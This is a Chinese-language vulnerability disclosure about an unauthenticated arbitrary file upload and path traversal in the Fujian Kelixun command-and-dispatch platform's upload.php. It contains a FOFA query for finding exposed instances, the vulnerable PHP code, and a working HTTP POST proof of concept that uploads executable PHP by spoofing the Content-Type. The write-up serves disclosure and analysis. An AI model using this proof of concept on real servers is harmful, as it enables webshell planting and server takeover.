漏洞简介
福建科立讯通信指挥调度管理平台是一个专门针对通信行业的管理平台。福建科立讯通信有限公司指挥调度管理平台 custom/zx/upload.php 接口存在文件上传漏洞,未经身份认证的攻击者可通给该漏洞写入如webshell等后门文件,导致服务器失陷。
影响版本
fofa语法
body="指挥调度管理平台"
漏洞分析
custom/zx/upload.php 文件很简单,业务逻辑实现如下
<?php
$types=array('txt','png','pdf','jpeg','amr','wav','mp4','avi','mp3','3gp');
$types1=explode('/', $_FILES['ulfile']['type']);
if(!in_array($types1[1], $types)){
echo json_encode(array("code"=>1,"msg"=>"upload file type error"));
exit();
}
if (is_uploaded_file($_FILES['ulfile']['tmp_name'])) {
move_uploaded_file($_FILES['ulfile']['tmp_name'], $_SERVER['DOCUMENT_ROOT'].'/upload/'.$_FILES['ulfile']['name']);
}
?>
虽然有判断文件类型,但是使用的是文件的 MIME 类型来和预置的类型比较,$_FILES['ulfile']['type'] 是文件的 MIME 类型,而文件的 MIME 类型 可以通过上传时的file 部分的 Content-Type: image/png 来控制从而绕过类型判断,造成任意文件上传漏洞。
其次是上传文件的保存路径直接拼接文件名作为最终的文件保存路径
move_uploaded_file($_FILES['ulfile']['tmp_name'], $_SERVER['DOCUMENT_ROOT'].'/upload/'.$_FILES['ulfile']['name']);
因此还存在文件目录穿越漏洞,可以通过控制文件名如 ../x.php来穿越到网站根目录。
漏洞复现
POC
POST /custom/zx/upload.php HTTP/1.1
Host: test.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123456
------WebKitFormBoundary123456
Content-Disposition: form-data; name="ulfile"; filename="test.php"
Content-Type: image/png
<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundary123456--

访问文件 /upload/test.php

成功执行我们的代码


